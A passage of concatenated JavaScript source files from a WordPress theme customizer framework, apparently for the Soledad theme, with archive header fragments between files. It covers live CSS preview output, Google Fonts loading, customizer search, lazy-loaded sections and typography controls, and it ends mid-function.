    api.styleOutput.attachGoogleFontHeader = function (value, setting) {
        var font_id = this.settingName(setting, '', '-css');

        // need to remove the font first
        $("#" + font_id).remove();

        var variant = [];
        var subset = [];

        if (value['variant'] && value['variant'].constructor === Array) {
            if (value['variant'].length === 1) {
                variant = ['reguler'];
            } else {
                variant = value['variant'];
            }
        }

        if (value['subsets'] && value['subsets'].constructor === Array) {
            subset = value['subsets'];
        }

        var font_family = 'family=' + value['font-family'] + ":" + variant.join(',');
        var font_subset = 'subset=' + subset.join(',');

        var url = "//fonts.googleapis.com/css?" + encodeURI(font_family + '&' + font_subset);
        $('head').append('<link rel="stylesheet" id="' + font_id + '" href="' + url + '" type="text/css" media="all">');
    };

    api.styleOutput.handleInlineStyle = function (setting, value, option) {
        var obj = this;

        if (undefined !== option.element) {
            var css = obj.generateStyle(value, option);
            var currentCss = $(option.element).attr('style');

            if (undefined === currentCss) {
                currentCss = '';
            }

            $(option.element).attr('style', currentCss + css);
        }
    };

    api.styleOutput.handleRemoveClass = function (value, option) {
        if (1 === value || '1' === value || true === value || 'true' === value || 'on' === value) {
            $(option.element).removeClass(option.property);
        }

        if (0 === value || '0' === value || false === value || 'false' === value || 'off' === value) {
            $(option.element).addClass(option.property);
        }
    };

    api.styleOutput.handleInlineSpacing = function (value, option) {
        value = JSON.parse(value);

        if (option.property === 'padding') {
            $(option.element).css({
                'padding-top': value['top'],
                'padding-left': value['left'],
                'padding-bottom': value['bottom'],
                'padding-right': value['right']
            });
        }

        if (option.property === 'margin') {
            $(option.element).css({
                'margin-top': value['top'],
                'margin-left': value['left'],
                'margin-bottom': value['bottom'],
                'margin-right': value['right']
            });
        }
    };

    api.styleOutput.handleGradient = function (value, option) {
        var degree = value['degree'];
        var begincolor = value['begincolor'];
        var beginlocation = value['beginlocation'];
        var endcolor = value['endcolor'];
        var endlocation = value['endlocation'];

        var gradient = "background: -moz-linear-gradient(" + degree + "deg, " + begincolor + " " + beginlocation + "%, " + endcolor + " " + endlocation + "%);" +
            "background: -webkit-linear-gradient(" + degree + "deg, " + begincolor + " " + beginlocation + "%, " + endcolor + " " + endlocation + "%);" +
            "background: -o-linear-gradient(" + degree + "deg, " + begincolor + " " + beginlocation + "%, " + endcolor + " " + endlocation + "%);" +
            "background: -ms-linear-gradient(" + degree + "deg, " + begincolor + " " + beginlocation + "%, " + endcolor + " " + endlocation + "%);" +
            "background: linear-gradient(" + degree + "deg, " + begincolor + " " + beginlocation + "%, " + endcolor + " " + endlocation + "%);";

        return gradient;
    };

    api.styleOutput.handleAddClass = function (value, option) {
        if (1 === value || '1' === value || true === value || 'true' === value || 'on' === value) {
            $(option.element).addClass(option.property);
        }

        if (0 === value || '0' === value || false === value || 'false' === value || 'off' === value) {
            $(option.element).removeClass(option.property);
        }
    };

    api.styleOutput.handleSwitchClass = function (value, option) {
        if (1 === value || '1' === value || true === value || 'true' === value || 'on' === value) {
            $(option.element).removeClass(option.property[0]).addClass(option.property[1]);
        }

        if (0 === value || '0' === value || false === value || 'false' === value || 'off' === value) {
            $(option.element).addClass(option.property[0]).removeClass(option.property[1]);
        }
    };

    api.styleOutput.handleClassMasking = function (value, option) {
        $.each(option.property, function (classkey, classname) {
            $(option.element).removeClass(classname);
        });

        $(option.element).addClass(option.property[value]);
    };

    api.styleOutput.isExcludedFont = function (font) {
        if (font.indexOf(',') >= 0) {
            font = font.substring(font.indexOf(','), 0);
        }
        var inarray = $.inArray(font, window.outputSetting.excludeFont);
        return ( inarray >= 0 );
    };

    api.styleOutput.handleOutput = function (output, newval, setting, result) {
        var obj = this;

        if (undefined !== output && 0 < output.length) {
            var injectCss = '';
            var css = '';

            _.each(output, function (option) {

                if (option.method === 'typography') {
                    if (undefined !== option.element && newval['font-family'] !== '') {
                        // add google font into header
                        if (!obj.isExcludedFont(newval['font-family'])) {
                            obj.attachGoogleFontHeader(newval, setting);
                        }

                        // css inject
                        css = obj.generateFontStyle(newval);
                        css = option.element + ' { ' + css + ' } ';
                        injectCss += css;
                    }
                }

                if (option.method === 'gradient') {
                    if (undefined !== option.element) {
                        css = obj.handleGradient(newval, option);
                        css = option.element + ' { ' + css + ' } ';

                        if (undefined !== option.mediaquery) {
                            css = option.mediaquery + ' { ' + css + ' } ';
                        }

                        injectCss += css;
                    }
                }

                if (option.method === 'inline-css') {
                    if (result) {
                        obj.handleInlineStyle(setting, newval, option);
                    } else {
                        obj.handleInlineStyle(setting, option.default, option);
                    }
                }

                if (option.method === 'inject-style') {
                    if (undefined !== option.element) {
                        css = obj.generateStyle(newval, option);
                        css = option.element + ' { ' + css + ' } ';

                        if (undefined !== option.mediaquery) {
                            css = option.mediaquery + ' { ' + css + ' } ';
                        }

                        injectCss += css;
                    }
                }

                if (option.method === 'remove-class') {
                    if (result) {
                        obj.handleRemoveClass(newval, option);
                    } else {
                        obj.handleAddClass(newval, option);
                    }
                }

                if (option.method === 'add-class') {
                    if (result) {
                        obj.handleAddClass(newval, option);
                    } else {
                        obj.handleRemoveClass(newval, option);
                    }
                }

                if (option.method === 'switch-class') {
                    if (result) {
                        obj.handleSwitchClass(newval, option);
                    } else {
                        obj.handleSwitchClass(option.default, option);
                    }
                }

                if (option.method === 'class-masking') {
                    if (result) {
                        obj.handleClassMasking(newval, option);
                    } else {
                        obj.handleClassMasking(option.default, option);
                    }
                }

                if (option.method === 'inline-spacing') {
                    if (result) {
                        obj.handleInlineSpacing(newval, option);
                    } else {
                        obj.handleInlineSpacing(option.default, option);
                    }
                }

            });

            var $selector = $('#' + this.settingName(setting));

            if (injectCss !== '' && result) {
                if (!$selector.length) {
                    $('head').append('<style id="' + this.settingName(setting) + '"> ' + injectCss + ' </style>');
                } else {
                    $selector.text(injectCss);
                }
            } else {
                $selector.remove();
            }

            if (!result && $selector.length) {
                $selector.remove();
            }
        }
    };

    api.styleOutput.settingName = function (setting, prefix, suffix) {
        if (typeof prefix === 'undefined') prefix = window.outputSetting.inlinePrefix;
        if (typeof suffix === 'undefined') suffix = '';

        var regexp = new RegExp(window.outputSetting.settingPattern);
        var match = regexp.exec(setting);
        setting = Array.isArray(match) && match.length >= 2 ? match[2] : setting;
        return prefix + setting.replace(/\[/g, '_').replace(/\]/g, '') + suffix;
    };

    /**
     * Bind setting to style output
     *
     * @param object
     */
    api.styleOutput.bindSetting = function (object) {
        var styleOutput = api.styleOutput;
        styleOutput.rulesCache[object.id] = object.output;

        api(object.id, function (setting) {
            setting.bind(function (value) {
                styleOutput.handleOutput(object.output, value, object.id, true);
            });
        });
    };

    /**
     * Listen to customizer panel event
     */
    api.styleOutput.initialize = function () {
        api.preview.bind('register-style-output', function (object) {
            api.styleOutput.bindSetting(object);
        });

        api.preview.bind('active-callback-control-output', function (object) {
            api.styleOutput.handleOutput(api.styleOutput.rulesCache[object.id], api(object.id).get(), object.id, object.result);
        });

        api.preview.bind('register-all-style-output', function (objects) {
            _.each(objects, function (object) {
                api.styleOutput.bindSetting(object);
            });
        });
    };

    api.bind('preview-ready', function () {
        api.styleOutput.initialize();
    });


})(wp.customize, jQuery);PK     0w\ E8  8  ?  customizer/framework/assets/js/customizer/validate-css-value.jsnu [        function soledadValidateCSSValue(value) {
    "use strict";

    var validUnits = ['rem', 'em', 'ex', '%', 'px', 'cm', 'mm', 'in', 'pt', 'pc', 'ch', 'vh', 'vw', 'vmin', 'vmax'],
        numericValue,
        unit;

    // 0 is always a valid value
    if ('0' === value) {
        return true;
    }

    // If we're using calc() just return true.
    if (0 <= value.indexOf('calc(') && 0 <= value.indexOf(')')) {
        return true;
    }

    // Get the numeric value.
    numericValue = parseFloat(value);

    // Get the unit
    unit = value.replace(numericValue, '');

    // Check the validity of the numeric value.
    if (isNaN(numericValue)) {
        return false;
    }

    // Check the validity of the units.
    if (-1 === jQuery.inArray(unit, validUnits)) {
        return false;
    }

    return true;

}
PK     0w\z-    ;  customizer/framework/assets/js/customizer/search-control.jsnu [        (function (api, $) {
    "use strict";

    var search = {};

    search.searchString = function (query) {
        query = query.trim();

        return wp.ajax.send({
            url: searchSetting.ajaxUrl,
            data: {
                nonce: searchSetting.nonce,
                search: query
            }
        });
    };

    search.buildElement = function ($header, $control) {
        var searchOnHeader = search.compileTemplate('search-wrapper');
        $header.after(searchOnHeader);

        var searchOverlay = search.compileTemplate('search-overlay');
        $control.append(searchOverlay);
    };

    search.resizeSearchResult = function ($searchResult, $control) {
        var resizeSearchContainer = function () {
            var wh = $control.height();
            $searchResult.height(wh - 90);
        };

        resizeSearchContainer();
        $(window).on('resize', resizeSearchContainer);
    };

    search.hookInput = function ($searchInput, $searchResult) {
        var timeout = null;
        $searchInput.on('input', function (e) {
            var value = $(this).val();
            clearTimeout(timeout);
            timeout = setTimeout(function () {
                value = value.trim();

                if (value.length >= 3) {
                    search.showLoader($searchResult);
                    var result = search.searchString(value);
                    result.done(search.buildSearchResult.bind($searchResult))
                }
            }, 500);
        });
    };

    search.showLoader = function (searchResult) {
        $(searchResult).find('.search-loader').removeClass('hidden');
    };

    search.hideLoader = function (searchResult) {
        $(searchResult).find('.search-loader').addClass('hidden');
    };

    search.compileTemplate = function (template, data) {
        var compiledTemplate = wp.template(template);
        return $(compiledTemplate(data));
    };

    search.buildSearchResult = function (responses) {
        var wrapper = this;
        var result = _.sortBy(responses, 'match').reverse();

        _.each(result, function (content, index) {
            var section = api.section(content.section);
            
            if(undefined != section ){
                var path = section.params.title;
                var panelID = api.section(content.section).panel();
            }

            if (panelID) {
                path = api.panel(panelID).params.title + " » " + path;
            }

            result[index]['path'] = path;
        });

        var html = search.compileTemplate('search-control', result);

        if (!result || result.length === 0) {
            html = '<div class="search-no-result">' + searchSetting.noResult + '</div>';
        }

        $(wrapper).find('.customizer-search-result-wrapper').html(html);
        search.hideLoader(wrapper);
    };

    search.focusControl = function (controlID) {
        var control = api.control(controlID);
        if (control) control.focus();
    };

    search.init = function(){
        var showSearch = false;
        var $header = $("#customize-header-actions");
        var $control = $("#customize-controls");

        search.buildElement($header, $control);

        var $searchWrapper = $('.customizer-search-wrapper');
        var $searchInput = $searchWrapper.find("input[type='text']");
        var $toggleButton = $searchWrapper.find('.customizer-search-toggle');
        var $toggleIcon = $searchWrapper.find('.customizer-search-toggle i');
        var $searchResult = $control.find('.customizer-search-result');
        var $overlay = $control.find('.customizer-search-overlay');

        search.resizeSearchResult($searchResult, $control);

        var openSearch = function () {
            $toggleIcon.removeClass('fa-search').addClass('fa-times');
            $searchWrapper.addClass('active');
            $searchResult.addClass('active');
            $overlay.addClass('active');
            $searchInput.focus();
            showSearch = true;
        };

        var closeSearch = function () {
            $toggleIcon.removeClass('fa-times').addClass('fa-search');
            $searchWrapper.removeClass('active');
            $searchResult.removeClass('active');
            $overlay.removeClass('active');
            showSearch = false;
            $searchInput.val('');
        };

        $toggleButton.on('click', function (e) {
            e.preventDefault();

            if (!showSearch) {
                openSearch();
            } else {
                closeSearch();
            }
        });
        
        $searchInput.on('keyup', function (e) {
            e.preventDefault();

            if (!showSearch) {
                openSearch();
            }
        });

        search.hookInput($searchInput, $searchResult);

        $searchResult.on('click', '.search-li', function () {
            var control = $(this).data('control');
            var section = $(this).data('section');

            var sectionAPI = api.section(section);
            closeSearch();

            if (sectionAPI.params.type === 'lazy') {
                if (sectionAPI.loaded) {
                    search.focusControl(control);
                } else {
                    var promise = sectionAPI.expand();
                    promise.done(function () {
                        search.focusControl(control);
                    });
                }
            } else {
                search.focusControl(control);
            }
        });
    };


    api.bind('ready', function () {
        search.init();
    });
})(wp.customize, jQuery);PK     0w\q    A  customizer/framework/assets/js/customizer/late-init-customizer.jsnu [        (function ($, api) {
    "use strict";

    api.Panel = api.Panel.extend({
        expand: function (params) {
            var panel = this.container[1];

            if (panel.id === 'sub-accordion-panel-soledad_fw_header' || panel.id === 'sub-accordion-panel-soledad_header') {
                $('body').trigger('soledad-fw-open-header-builder');
            }

            return this._toggleExpanded(true, params);
        }
    });

})(jQuery, wp.customize);
PK     0w\k4[  [  ;  customizer/framework/assets/js/customizer/previewer-sync.jsnu [        (function (api) {
    "use strict";

    if (!api.previewerSync) {
        api.previewerSync = {};
    }

    api.previewerSync = {
        styleOutput: [],
        redirectTag: [],
        partialRefresh: []
    };

    /**
     * Register Style output by save it on style output cache, and send it to previewer
     *
     * @param id
     * @param value
     * @param output
     */
    api.previewerSync.registerStyleOutput = function (id, value, output) {
        if (output.length) {
            _.each(output, function (style) {
                style.default = value;
            });

            var param = {
                id: id,
                output: output
            };

            this.styleOutput.push(param);
            this.sendStyleOutput(param);
        }
    };

    /**
     * Send style output to previewer
     *
     * @param param
     */
    api.previewerSync.sendStyleOutput = function (param) {
        api.previewer.send('register-style-output', param);
    };

    /**
     * Send cached style output to previewer
     */
    api.previewerSync.sendAllStyleOutput = function () {
        api.previewer.send('register-all-style-output', this.styleOutput);
    };


    /**
     * Send redirect tag to previewer
     *
     * @param param
     */
    api.previewerSync.sendRedirectTag = function (param) {
        api.previewer.send('register-redirect-tag', param);
    };

    /**
     * Send all redirect tag to previewer
     */
    api.previewerSync.sendAllRedirectTag = function () {
        api.previewer.send('register-all-redirect-tag', this.redirectTag);
    };

    /**
     * Register post variable (redirect tag)
     *
     * @param id
     * @param postvars
     */
    api.previewerSync.registerRedirectTag = function (id, postvars) {
        _.each(postvars, function (postvar) {
            if ('undefined' !== typeof postvar.redirect) {
                var param = {
                    id: id,
                    redirect: postvar.redirect,
                    refresh: postvar.refresh
                };

                this.redirectTag.push(param);
                this.sendRedirectTag(param);
            }
        }.bind(this));
    };

    /**
     * Send Partial refresh chunk to previewer
     *
     * @param param
     */
    api.previewerSync.sendPartialRefresh = function (param) {
        api.previewer.send('register-partial-refresh', param);
    };

    /**
     * Send all redirect tag to previewer
     */
    api.previewerSync.sendAllPartialRefresh = function () {
        api.previewer.send('register-all-partial-refresh', this.partialRefresh);
    };

    /**
     * Compose partial Name
     *
     * @param section
     * @param id
     * @returns {string}
     */
    api.previewerSync.partialRefreshId = function (section, id) {
        return partialSetting.patternTemplate.replace(/\{section\}/g, section).replace(/\{id\}/g, id);
    };

    /**
     * Register all partial refresh send by control-default
     *
     * @param setting
     * @param section
     * @param partials
     */
    api.previewerSync.registerPartialRefresh = function (setting, section, partials) {
        _.each(partials, function (partial, id) {
            if (typeof partial !== 'undefined') {
                var option = {
                    type: 'default',
                    fallbackRefresh: false,
                    containerInclusive: false,
                    settings: [setting],
                    primarySetting: setting,
                };

                var param = {
                    id: this.partialRefreshId(section, id),
                    param: _.extend(option, partials[id])
                };

                this.partialRefresh.push(param);
                this.sendPartialRefresh(param);
            }
        }.bind(this));
    };

    /**
     * Initialize connection between previewer & customizer panel
     * When previewer ready, we try to synchronize all registered additional setting
     * from customizer panel to previewer
     */
    api.previewerSync.initialize = function () {
        api.previewer.bind('ready', function () {
            api.previewerSync.sendAllStyleOutput();
            api.previewerSync.sendAllRedirectTag();
            api.previewerSync.sendAllPartialRefresh();
        });
    };

    /** Initialize */
    api.bind('ready', function () {
        api.previewerSync.initialize();
    });


})(wp.customize);
PK     0w\|\FL  L  <  customizer/framework/assets/js/customizer/active-callback.jsnu [        (function (api) {
    "use strict";

    if (!api.activeCallback) {
        api.activeCallback = {};
    }

    /**
     * Compare value
     *
     * @param value1
     * @param value2
     * @param compare
     * @returns {boolean}
     */
    api.activeCallback.compare = function (value1, value2, compare) {
        if (compare === '===') {
            return value1 === value2;
        }

        if (compare === '=' || compare === '==' || compare === 'equals' || compare === 'equal') {
            return value1 === value2;
        }

        if (compare === '!=') {
            return value1 !== value2;
        }

        if (compare === '!=' || compare === 'not equal') {
            return value1 !== value2;
        }

        if (compare === '>=' || compare === 'greater or equal' || compare === 'equal or greater') {
            return value1 >= value2;
        }

        if (compare === '<=' || compare === 'smaller or equal' || compare === 'equal or smaller') {
            return value1 <= value2;
        }

        if (compare === '>' || compare === 'greater') {
            return value1 > value2;
        }

        if (compare === '<' || compare === 'smaller') {
            return value1 < value2;
        }

        if (compare === 'in' || compare === 'contains') {
            var result = value1.indexOf(value2),
                high,
                low;
            if ( value1 instanceof Array && value2 instanceof Array ) {
                high = value1.length > value2.length ? value1 : value2
                low = value1.length > value2.length ? value2 : value1
                high.forEach(function(hiVal){
                    low.forEach(function(lowVal){
                        if ( hiVal == lowVal ) result++
                    })
                })
            }
            return result >= 0;
        }
    };

    /**
     * Get status for given rule
     *
     * @param rules
     * @returns {boolean}
     */
    api.activeCallback.getStatus = function (rules) {
        var flag = true;

        _.each(rules, function (rule) {
            var control = api.control(rule.setting);
            if (control) {
                var setting = api.control(rule.setting).setting,
                    value1 = rule.value,
                    value2 = setting.get()
                if (value2 instanceof Array && value2.length == 0 && !(value1 instanceof Array)) {
                    value1 = setting.get()
                    value2 = rule.value
                }
                if (value2 instanceof Object && !(value2 instanceof Array)) {
                    var keys = []
                    for ( var item in value2 ) {
                        if ( value2.hasOwnProperty(item) )
                        keys.push(value2[item])
                    }
                    value1 = keys
                    value2 = rule.value
                }
                flag = flag && api.activeCallback.compare(value1, value2, rule.operator);
            } else {
                console.log("[Active Callback] Control not exist : " + rule.setting);
            }
        });

        return flag;
    };

    /**
     * set control active status
     *
     * @param control
     * @param rules
     * @returns {*}
     */
    api.activeCallback.setActiveStatus = function (control, rules) {
        var active_status = api.activeCallback.getStatus(rules);
        control.active.set(active_status);
        return active_status;
    };

    /**
     * Register every rule for active callback
     *
     * @param control
     * @param rules
     */
    api.activeCallback.registerActiveRule = function (control, rules) {
        var activeStatus = this.setActiveStatus;

        if (control.params.active_rule !== null) {
            activeStatus(control, rules);

            _.each(rules, function (active) {
                var controlParent = api.control(active.setting);

                if ( controlParent ) {
                    controlParent.setting.bind(function () {
                        var result = activeStatus(control, rules);
                        var obj = {
                            id: control.params.settings.default,
                            result: result
                        };
                        api.previewer.send('active-callback-control-output', obj);
                    });
                }
            });
        }
    };


})(wp.customize);
PK     0w\V    ?  customizer/framework/assets/js/customizer/customizer-preview.jsnu [        (function (api) {
    "use strict";

    api.bind('preview-ready', function () {
        /**
         * Listen if dynamic setting being added on customizer panel and assign on previewer
         */
        api.preview.bind('customize-add-setting', function (setting) {
            if (!api.has(setting.id)) {
                api.create(setting.id, setting.value, {
                    id: setting.id
                });
            }
        });
    });
})(wp.customize);
PK     0w\QdM  M  D  customizer/framework/assets/js/customizer/partial-refresh-preview.jsnu [        (function (api) {
    "use strict";

    if (!api.partialRefresh) {
        api.partialRefresh = {};
    }

    api.partialRefresh = {
        partialRefreshCache: []
    };

    /**
     * Add partial setting
     *
     * @param object
     */
    api.partialRefresh.bindSetting = function (object) {
        var partial = new api.selectiveRefresh.Partial(
            object.id,
            object.param
        );
        api.selectiveRefresh.partial.add(partial);
    };

    /**
     * Bind Setting for partial refresh
     */
    api.partialRefresh.initialize = function () {
        api.preview.bind('register-partial-refresh', function (object) {
            api.partialRefresh.bindSetting(object);
        });

        api.preview.bind('register-all-partial-refresh', function (objects) {
            _.each(objects, function (object) {
                api.partialRefresh.bindSetting(object);
            });
        });
    };

    /**
     * Initialize partial refresh
     */
    api.bind('preview-ready', function () {
        api.partialRefresh.initialize();
    });

})(wp.customize);
PK     0w\OUh=    A  customizer/framework/assets/js/customizer-section/lazy-section.jsnu [        (function($, api) {
  "use strict";

  api.sectionConstructor.lazy = api.sectionConstructor.default.extend({
    loaded : false,
    loadingContainer: null,
    opened: false,
    dependency: null,
    promise: null,

    ready: function() {
      var section = this;

      api.sectionConstructor.default.prototype.ready.call( section );

      section.deferred.embedded.done(function() {
        section.setupSectionActions();
      });
    },

    /**
     * Setup section when loaded
     */
    setupSectionActions: function(){

      var section = this, sectionLoadingTemplate, descriptionContainer;

      sectionLoadingTemplate = wp.template( 'customize-lazy-section-loading' );

      section.loadingContainer = $(sectionLoadingTemplate({
        loading: 'Loading Control'
      }));

      descriptionContainer = section.container.find( '.section-meta:first' );

      descriptionContainer.after( section.loadingContainer );
    },

    /**
     * Allow an active panel to be contextually active even when it has no active controls.
     *
     * @returns {boolean} Whether contextually active.
     */
    isContextuallyActive: function() {
      var section = this;
      return section.active();
    },
    /**
     * Load Control
     *
     * @returns $.promise
     */
    loadControl : function () {
      var section = this;
      section.dependency = [];
      section.buildDependency(section.params.id);

      return wp.ajax.send({
        url: lazySetting.ajaxUrl,
        data: {
          nonce: lazySetting.nonce,
          sections: section.dependency.reverse()
        }
      });
    },

    /**
     * Build recursive dependency tree
     * @param sectionID
     * @returns {*}
     */
    buildDependency: function(sectionID){
      var element = this;
      var section = api.section(sectionID);
      var dependency = section.params.dependency;

      if(!section.loaded && element.dependency.indexOf(sectionID) <= 0) {
        element.dependency.push(sectionID);
        if(dependency.length > 0){
          _.each(dependency, function(sectionID){
            element.buildDependency(sectionID);
          });
        }
      }
    },

    /**
     * Create Customizer Setting
     *
     * @param settingParams
     * @param id
     */
    createSetting: function(settingParams, id) {
      if (!api.has(id)) {
        var setting = new api.Setting(id, settingParams.value, settingParams);

        api.add( id, setting );

        // Send Dynamic Setting to Customizer Preview
        api.previewer.send('customize-add-setting', {
          id: id,
          value: settingParams.value,
          params: settingParams
        });
      }
    },

    /**
     * Create Customizer Control
     * @param option
     * @param id
     */
    createControl: function(option, id) {
      var _type = option.type;
      var control = new api.controlConstructor[_type]( id, {
        params: option
      });
      api.control.add( control.id, control );
    },

    /**
     * Proceed to create control by response
     *
     * @param responses
     */
    addControl : function (responses) {
      var that = this;

      if(responses.length === 0) {
        that.finishLoading(that.id);
      }

      // Assign Control & Setting
      _.each(responses, function(response, sectionID){
        var section = api.section(sectionID);

        // Create Setting
        _.each(response, function(option){
          section.createSetting(option['setting'], option['settingId']);
        });

        // Create Control
        _.each(response, function(option, id){
          section.createControl(option['control'], id);
        });
      });

      // Send complete flag
      _.each(responses, function(response, sectionID){
        that.finishLoading(sectionID)
      });
    },


    finishLoading: function(sectionID){
        var section = api.section(sectionID);

        section.loaded = true;
        api.section.trigger(section.id, section);

        section.loadingContainer.fadeOut('slow', function(){
            $(this).remove();
            if(section.promise) {
                section.promise.resolve();
            }
        });
    },

    /**
     * Give promise to caller
     *
     * @returns $.Deferred
     */
    loadControlPromise: function(){
      var section = this;
      this.promise = $.Deferred();

      var control = section.loadControl();
      control.done(section.addControl.bind(this));

      return this.promise;
    },

    /**
     * handle expand
     *
     * @param params
     * @returns {*|Boolean}
     */
    expand : function(params) {
      var section = this;

      api.sectionConstructor.default.prototype.expand.call(this, params);

      if(!section.loaded)
      {
        return this.loadControlPromise();
      }
    }
  });

})(jQuery, wp.customize);
PK     0w\Ex/  /  A  customizer/framework/assets/js/customizer-section/link-section.jsnu [        ;(function ($, api) {
  'use strict'

  api.sectionConstructor.link = api.Section.extend({
    // No events for this type of section.
    attachEvents: function () {},

    // Always make the section active.
    isContextuallyActive: function () {
      return true
    },
  })
})(jQuery, wp.customize)
PK     0w\܋3    D  customizer/framework/assets/js/customizer-section/default-section.jsnu [        ( function($, api) {
  "use strict";
  
  api.sectionConstructor.default = api.Section.extend({
    expand : function(params)
    {
      var section = this.container[1];
      
      if(!$(section).hasClass('soledad-fw-section-loaded'))
      {
        $(section).addClass('soledad-fw-section-loaded').trigger('soledad-fw-open-section');
      }
      
      api.Section.prototype.expand.call(this, params);
    }
  });
  
  
})( jQuery, wp.customize );
PK     0w\,)    I  customizer/framework/assets/js/customizer-control/control-range-slider.jsnu [        (function($, api){
    "use strict";

    api.controlConstructor['soledad-fw-range-slider'] = api.controlConstructor.default.extend({

        get_number: function(selector, name){
            return parseInt($(selector).attr(name));
        },

        ready: function() {
            'use strict';

            var control = this;
            var slider = $(this.container).find('.slider-range');

            var min     = this.get_number(slider, 'min');
            var max     = this.get_number(slider, 'max');
            var range   = this.get_number(slider, 'range');
            var step    = this.get_number(slider, 'step');

            $(slider).ionRangeSlider({
                min: min,
                max: max,
                from: range,
                from_min: min,
                from_max: max,
                grid: true,
                postfix: "px",
                onChange: function (data) {
                    control.setting.set( data.from );
                }
            });
        }
    });
})(jQuery, wp.customize);
PK     0w\]$  ]$  G  customizer/framework/assets/js/customizer-control/control-typography.jsnu [        wp.customize.controlConstructor['soledad-fw-typography'] = wp.customize.controlConstructor.default.extend({

	ready: function() {

		'use strict';
		var control               = this,
			fontFamilySelector    = control.selector + ' .font-family select',
			variantSelector       = control.selector + ' .variant select',
			subsetSelector        = control.selector + ' .subsets select',
			textTransformSelector = control.selector + ' .text-transform select',
			hasDefault            = false,
			firstAvailable        = false,
			activeItem,
			value = {},
			renderSubControl,
			picker;

		// Make sure everything we're going to need exists.
		_.each( control.params['default'], function( defaultParamValue, param ) {
			if ( false !== defaultParamValue ) {
				value[ param ] = defaultParamValue;
				if ( undefined !== control.setting._value[ param ] ) {
					value[ param ] = control.setting._value[ param ];
				}
			}
		});
		_.each( control.setting._value, function( subValue, param ) {
			if ( undefined === value[ param ] || 'undefined' === typeof value[ param ] ) {
				value[ param ] = subValue;
			}
		});

		// Renders and refreshes selectize sub-controls.
		renderSubControl = function( fontFamily, sub, startValue ) {

			var subSelector = ( 'variant' === sub ) ? variantSelector : subsetSelector,
				isStandard = false,
				subList = {},
				subValue,
				subsetValues,
				subsetValuesArray,
				subSelectize;

			// Destroy the selectize instance.
			if ( undefined !== jQuery( subSelector ).selectize()[0] ) {
				jQuery( subSelector ).selectize()[0].selectize.destroy();
			}

			// Get all items in the sub-list for the active font-family.
			_.each( soledadAllFonts, function( font, i ) {

				// Find the font-family we've selected in the global array of fonts.
				if ( fontFamily === font.family ) {

					// Check if this is a standard font or a google-font.
					if ( undefined !== font.isStandard && true === font.isStandard ) {
						isStandard = true;
					}

					if ( 'variant' === sub ) {
						subList = font.variants;
					} else if ( 'subsets' === sub ) {
						subList = font.subsets;
					}

				}

			});

			// This is a googlefont, or we're talking subsets.
			if ( false === isStandard || 'subsets' !== sub ) {

				// Determine the initial value we have to use
				if ( null === startValue  ) {

					if ( 'variant' === sub ) { // The context here is variants

						// Loop the variants.
						_.each( subList, function( variant ) {

							var defaultValue;

							if ( undefined !== variant.id ) {

								activeItem = value.variant;

							} else {

								defaultValue = 'regular';

								if ( defaultValue === variant.id ) {
									hasDefault = true;
								} else if ( false === firstAvailable ) {
									firstAvailable = variant.id;
								}

							}

						});

					} else if ( 'subsets' === sub ) { // The context here is subsets

						subsetValues = {};

						_.each( subList, function( subSet ) {
							if ( null !== value.subsets ) {
								_.each( value.subsets, function( item ) {
									if ( undefined !== subSet && item === subSet.id ) {
										subsetValues[ item ] = item;
									}
								});
							}
						});

						if ( 0 !== subsetValues.length ) {
							subsetValuesArray = jQuery.map( subsetValues, function( value, index ) {
								return [value];
							});
							activeItem = subsetValuesArray;
						}

					}

					// If we have a valid setting, use it.
					// If not, check if the default value exists.
					// If not, then use the 1st available option.
					subValue = ( undefined !== activeItem ) ? activeItem : ( false !== hasDefault ) ? 'regular' : firstAvailable;

				} else {

					subValue = startValue;

				}

				// Create
				subSelectize = jQuery( subSelector ).selectize({
					maxItems:    null,
					valueField:  'id',
					labelField:  'label',
					searchField: ['label'],
					options:     subList,
					items:       subValue,
					create:      false,
					plugins:     ['remove_button'],
					render: {
						item: function( item, escape ) {
							return '<div>' + escape( item.label ) + '</div>';
						},
						option: function( item, escape ) {
							return '<div>' + escape( item.label ) + '</div>';
						}
					}
				}).data( 'selectize' );

			}

			if ( true === isStandard ) {

				// Hide unrelated fields on standard fonts.
				control.container.find( '.hide-on-standard-fonts' ).css( 'display', 'none' );
			} else {

				if ( 2 > subList.length ) {

					// If only 1 option is available then there's no reason to show this.
					control.container.find( '.soledad-fw-' + sub + '-wrapper' ).css( 'display', 'none' );
				} else {
					control.container.find( '.soledad-fw-' + sub + '-wrapper' ).css( 'display', 'block' );
				}

			}

		};

		// Render the font-family
		var fontFamily = jQuery( fontFamilySelector ).selectize({
			options:     soledadAllFonts,
			items:       [ control.setting._value['font-family'] ],
			persist:     false,
			maxItems:    1,
			valueField:  'family',
			labelField:  'label',
			searchField: ['family', 'label', 'subsets'],
			create:      false,
			render: {
				item: function( item, escape ) {
					return '<div>' + escape( item.label ) + '</div>';
				},
				option: function( item, escape ) {
					return '<div>' + escape( item.label ) + '</div>';
				}
			}
		});

		// Render the variants
		// Please note that when the value of font-family changes,
		// this will be destroyed and re-created.
		renderSubControl( value['font-family'], 'variant', value.variant );

		// Render the subsets
		// Please note that when the value of font-family changes,
		// this will be destroyed and re-created.
		renderSubControl( value['font-family'], 'subsets', value.subsets );


		var fontFamilyControl = fontFamily[0].selectize;
		fontFamilyControl.on('change', function() {

			// clear variant
			var variant = jQuery(variantSelector);
			variant = variant[0].selectize;
			variant.clear();

			// clear subset
			var subset = jQuery(subsetSelector);
			subset = subset[0].selectize;
			subset.clear();
		});


		this.container.on( 'change', '.font-family select', function() {

			// Add the value to the array and set the setting's value
			value['font-family'] = jQuery( this ).val();
			control.saveValue( value );

			// Trigger changes to variants & subsets
			renderSubControl( jQuery( this ).val(), 'variant', null );
			renderSubControl( jQuery( this ).val(), 'subsets', null );

			// Refresh the preview
			if(control.setting.transport === 'refresh') wp.customize.previewer.refresh();

		});

		this.container.on( 'change', '.variant select', function() {

			// Add the value to the array and set the setting's value
			value.variant = jQuery( this ).val();
			control.saveValue( value );

			// Refresh the preview
			if(control.setting.transport === 'refresh') wp.customize.previewer.refresh();

		});

		this.container.on( 'change', '.subsets select', function() {

			// Add the value to the array and set the setting's value.
			value.subsets = jQuery( this ).val();
			control.saveValue( value );

			// Refresh the preview
			if(control.setting.transport === 'refresh') wp.customize.previewer.refresh();

		});

		this.container.on( 'change keyup paste', '.font-size input', function() {

			// Add the value to the array and set the setting's value
			value['font-size'] = jQuery( this ).val();
			control.saveValue( value );

		});

		this.container.on( 'change keyup paste', '.line-height input', function() {

			// Add the value to the array and set the setting's value
